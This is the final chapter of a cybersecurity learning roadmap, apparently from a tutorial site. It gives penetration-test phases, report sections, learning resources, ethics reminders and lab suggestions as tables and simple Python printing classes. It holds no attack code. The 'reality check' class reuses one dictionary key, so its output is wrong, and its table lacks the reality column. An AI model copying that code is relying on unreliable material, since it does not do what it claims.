                "tools": ["Word processors", "Report templates"]
            }
        }

    def display_phases(self):
        """Display penetration testing phases"""
        print("=== Penetration Testing Phases ===\n")

        for phase, info in self.phases.items():
            print(f"🔹 {phase}")
            print(f"   Description: {info['description']}")
            print(f"   Tasks: {', '.join(info['tasks'])}")
            print(f"   Tools: {', '.join(info['tools'])}")
            print()

# Example
pentest_phases = PentestPhases()
pentest_phases.display_phases()

13.1.2 Deliverables

Full Penetration Test Report Structure:

SectionDescription
Executive SummaryHigh-level overview, risk ratings, business impact
Scope and MethodologyWhat was tested and how
Executive RecommendationsSummary of remediation priorities
Technical FindingsDetailed vulnerability descriptions
Proof of ConceptEvidence of exploitation
Remediation StepsStep-by-step fixes
AppendicesTool outputs, logs, screenshots

Vulnerability Assessment Findings:

FindingDescriptionSeverity
CriticalImmediate threat, system compromise possible🔴 Critical
HighSignificant risk, likely to be exploited🟡 High
MediumModerate risk, should be addressed🔵 Medium
LowMinor risk, best practice improvement🟢 Low
class PentestReport:
    """Penetration test report structure"""

    def __init__(self):
        self.sections = {
            "Executive Summary": {
                "description": "High-level overview, risk ratings",
                "audience": "Senior management"
            },
            "Scope and Methodology": {
                "description": "What was tested and how",
                "audience": "Technical and non-technical"
            },
            "Executive Recommendations": {
                "description": "Summary of remediation priorities",
                "audience": "Senior management"
            },
            "Technical Findings": {
                "description": "Detailed vulnerability descriptions",
                "audience": "Technical staff"
            },
            "Proof of Concept": {
                "description": "Evidence of exploitation",
                "audience": "Technical staff"
            },
            "Remediation Steps": {
                "description": "Step-by-step fixes",
                "audience": "Technical staff"
            },
            "Appendices": {
                "description": "Tool outputs, logs, screenshots",
                "audience": "Technical staff"
            }
        }

        self.severities = {
            "Critical": {"color": "🔴", "description": "Immediate threat, system compromise possible"},
            "High": {"color": "🟡", "description": "Significant risk, likely to be exploited"},
            "Medium": {"color": "🔵", "description": "Moderate risk, should be addressed"},
            "Low": {"color": "🟢", "description": "Minor risk, best practice improvement"}
        }

    def display_report(self):
        """Display report structure"""
        print("=== Penetration Test Report ===\n")

        print("📋 Report Sections:")
        for section, info in self.sections.items():
            print(f"   - {section}: {info['description']}")
            print(f"     Audience: {info['audience']}")

        print("\n📊 Severity Levels:")
        for severity, info in self.severities.items():
            print(f"   {info['color']} {severity}: {info['description']}")

# Example
report = PentestReport()
report.display_report()

13.1.3 Final Reality Check

Real-World Expectations:

ExpectationReality
Hollywood HackingFast, visual, unrealistic
Immediate ResultsInstant access
Visual InterfacesCool graphics
One Exploit Fits AllUniversal exploit

Continuing Education:

ActivityDescription
CVE FeedsMonitor new vulnerabilities
Security BlogsFollow industry experts
CertificationsMaintain and upgrade
ConferencesAttend security events
PracticeRegular lab work
class FinalRealityCheck:
    """Final reality check for security professionals"""

    def __init__(self):
        self.expectations = {
            "Hollywood Hacking": "Fast, visual, unrealistic",
            "Real Hacking": "Slow, methodical, often boring",
            "Immediate Results": "Instant access",
            "Real Hacking": "Hours or days of effort",
            "Visual Interfaces": "Cool graphics",
            "Real Hacking": "Command-line, logs, text",
            "One Exploit Fits All": "Universal exploit",
            "Real Hacking": "Customized, environment-specific"
        }

        self.education = {
            "CVE Feeds": "Monitor new vulnerabilities",
            "Security Blogs": "Follow industry experts",
            "Certifications": "Maintain and upgrade",
            "Conferences": "Attend security events",
            "Practice": "Regular lab work"
        }

    def display_reality_check(self):
        """Display final reality check"""
        print("=== Final Reality Check ===\n")

        print("📋 Expectations vs Reality:")
        for expectation, reality in self.expectations.items():
            print(f"   {expectation} → {reality}")

        print("\n📋 Continuing Education:")
        for activity, description in self.education.items():
            print(f"   - {activity}: {description}")

        print("\n⚠️ Key Reminders:")
        print("   - Always get written authorization")
        print("   - Stay within scope")
        print("   - Protect client data")
        print("   - Report responsibly")
        print("   - Never stop learning")

# Example
reality_check = FinalRealityCheck()
reality_check.display_reality_check()

13.2 What You Should Do Next

13.2.1 Continuous Learning

Stay Updated on New Vulnerabilities:

ResourceDescription
CVE Databasenvd.nist.gov
Exploit-DBexploit-db.com
Security BulletinsVendor security pages
Security NewsKrebsOnSecurity, The Register
Redditr/netsec, r/cybersecurity

Follow Security Research:

ResourceType
Security BlogsIndividual and company blogs
White PapersResearch publications
Technical ReportsIndustry analysis
WebinarsOnline training sessions
PodcastsSecurity-focused shows
class ContinuousLearning:
    """Continuous learning resources"""

    def __init__(self):
        self.resources = {
            "CVE Database": "nvd.nist.gov",
            "Exploit-DB": "exploit-db.com",
            "Security Bulletins": "Vendor security pages",
            "Security News": "KrebsOnSecurity, The Register",
            "Reddit": "r/netsec, r/cybersecurity"
        }

        self.research = {
            "Security Blogs": "Individual and company blogs",
            "White Papers": "Research publications",
            "Technical Reports": "Industry analysis",
            "Webinars": "Online training sessions",
            "Podcasts": "Security-focused shows"
        }

    def display_resources(self):
        """Display continuous learning resources"""
        print("=== Continuous Learning ===\n")

        print("📋 Vulnerability Resources:")
        for resource, description in self.resources.items():
            print(f"   - {resource}: {description}")

        print("\n📋 Research Resources:")
        for resource, description in self.research.items():
            print(f"   - {resource}: {description}")

# Example
learning = ContinuousLearning()
learning.display_resources()

13.2.2 Professional Development

Build Your Professional Network:

PlatformPurpose
LinkedInProfessional networking
Twitter/XFollow security experts
GitHubShare code and tools
Security CommunitiesDiscord, Slack groups
Local MeetupsIn-person networking

Attend Security Conferences:

ConferenceDescription
DEF CONLargest hacker convention
Black HatProfessional security conference
BSidesCommunity-driven events
RSA ConferenceEnterprise security
OWASP AppSecWeb application security
class ProfessionalDevelopment:
    """Professional development resources"""

    def __init__(self):
        self.platforms = {
            "LinkedIn": "Professional networking",
            "Twitter/X": "Follow security experts",
            "GitHub": "Share code and tools",
            "Security Communities": "Discord, Slack groups",
            "Local Meetups": "In-person networking"
        }

        self.conferences = {
            "DEF CON": "Largest hacker convention",
            "Black Hat": "Professional security conference",
            "BSides": "Community-driven events",
            "RSA Conference": "Enterprise security",
            "OWASP AppSec": "Web application security"
        }

    def display_development(self):
        """Display professional development resources"""
        print("=== Professional Development ===\n")

        print("📋 Networking Platforms:")
        for platform, purpose in self.platforms.items():
            print(f"   - {platform}: {purpose}")

        print("\n📋 Security Conferences:")
        for conference, description in self.conferences.items():
            print(f"   - {conference}: {description}")

# Example
pro_dev = ProfessionalDevelopment()
pro_dev.display_development()

13.2.3 Ethical Considerations

Professional Conduct and Integrity:

PrincipleDescription
HonestyBe truthful about findings and capabilities
IntegrityAlways act ethically and legally
ConfidentialityProtect client data and findings
ProfessionalismMaintain professional standards
AccountabilityTake responsibility for actions

Legal Boundaries:

RequirementDescription
Written AuthorizationAlways get explicit permission
ScopeStay within defined boundaries
Data ProtectionProtect sensitive information
DisclosureReport vulnerabilities responsibly
class EthicalConsiderations:
    """Ethical considerations in cybersecurity"""

    def __init__(self):
        self.principles = {
            "Honesty": "Be truthful about findings and capabilities",
            "Integrity": "Always act ethically and legally",
            "Confidentiality": "Protect client data and findings",
            "Professionalism": "Maintain professional standards",
            "Accountability": "Take responsibility for actions"
        }

        self.legal = {
            "Written Authorization": "Always get explicit permission",
            "Scope": "Stay within defined boundaries",
            "Data Protection": "Protect sensitive information",
            "Disclosure": "Report vulnerabilities responsibly"
        }

    def display_ethics(self):
        """Display ethical considerations"""
        print("=== Ethical Considerations ===\n")

        print("📋 Professional Principles:")
        for principle, description in self.principles.items():
            print(f"   - {principle}: {description}")

        print("\n📋 Legal Requirements:")
        for requirement, description in self.legal.items():
            print(f"   - {requirement}: {description}")

# Example
ethics = EthicalConsiderations()
ethics.display_ethics()

13.2.4 Practical Recommendations

Set Up Home Lab for Continuous Practice:

ComponentPurpose
Kali LinuxPrimary attack platform
Windows VMTarget and practice
MetasploitableVulnerable target
DVWAWeb application practice
NetworkIsolated lab environment

Participate in Bug Bounty Programs:

PlatformDescription
HackerOneLargest bug bounty platform
BugcrowdCrowdsourced security testing
IntigritiEuropean platform
SynackVetted researchers

Contribute to Open-Source Security Projects:

ContributionDescription
ToolsDevelop security tools
ScriptsWrite automation scripts
DocumentationImprove existing documentation
Bug ReportsReport issues in security tools

Teach and Mentor Others:

ActivityDescription
Blog WritingShare knowledge
Content CreationVideos, courses
MentoringHelp others learn
SpeakingPresent at events
class PracticalRecommendations:
    """Practical recommendations for security professionals"""

    def __init__(self):
        self.lab = {
            "Kali Linux": "Primary attack platform",
            "Windows VM": "Target and practice",
            "Metasploitable": "Vulnerable target",
            "DVWA": "Web application practice",
            "Network": "Isolated lab environment"
        }

        self.bug_bounty = {
            "HackerOne": "Largest bug bounty platform",
            "Bugcrowd": "Crowdsourced security testing",
            "Intigriti": "European platform",
            "Synack": "Vetted researchers"
        }

        self.contributions = {
            "Tools": "Develop security tools",
            "Scripts": "Write automation scripts",
            "Documentation": "Improve existing documentation",
            "Bug Reports": "Report issues in security tools"
        }

    def display_recommendations(self):
        """Display practical recommendations"""
        print("=== Practical Recommendations ===\n")

        print("🔧 Home Lab Setup:")
        for component, purpose in self.lab.items():
            print(f"   - {component}: {purpose}")

        print("\n📋 Bug Bounty Platforms:")
        for platform, description in self.bug_bounty.items():
            print(f"   - {platform}: {description}")

        print("\n📋 Open Source Contributions:")
        for contribution, description in self.contributions.items():
            print(f"   - {contribution}: {description}")

        print("\n📋 Next Steps:")
        print("   1. Set up your home lab")
        print("   2. Practice regularly")
        print("   3. Start bug bounty hunting")
        print("   4. Contribute to open source")
        print("   5. Share your knowledge")

# Example
practical = PracticalRecommendations()
practical.display_recommendations()

You have now completed all 13 Phases of the Cybersecurity & Information Security Roadmap.

What You Have Learned:

PhaseFocus Area
Phase 1Information Security Fundamentals
Phase 2Core Technical Foundations
Phase 3Cyber Threats & Attack Vectors
Phase 4Offensive Security (Red Team)
Phase 5Web Application Security
Phase 6Wireless & Network Security
Phase 7Defensive Security (Blue Team/SOC)
Phase 8Reverse Engineering & Malware Analysis
Phase 9Cryptography & Encryption
Phase 10Cloud Security & DevSecOps
Phase 11Enterprise GRC & Advanced Security
Phase 12Building Your Security Career
Phase 13Master Practical Projects

Key Takeaway:

“In cybersecurity, understanding how systems work is the first step to protecting them.”

Remember:

  • Always get written authorization before testing
  • Stay within scope
  • Protect client data
  • Report vulnerabilities responsibly
  • Never stop learning

Thank you for your dedication to learning and protecting the digital world.

Scroll to Top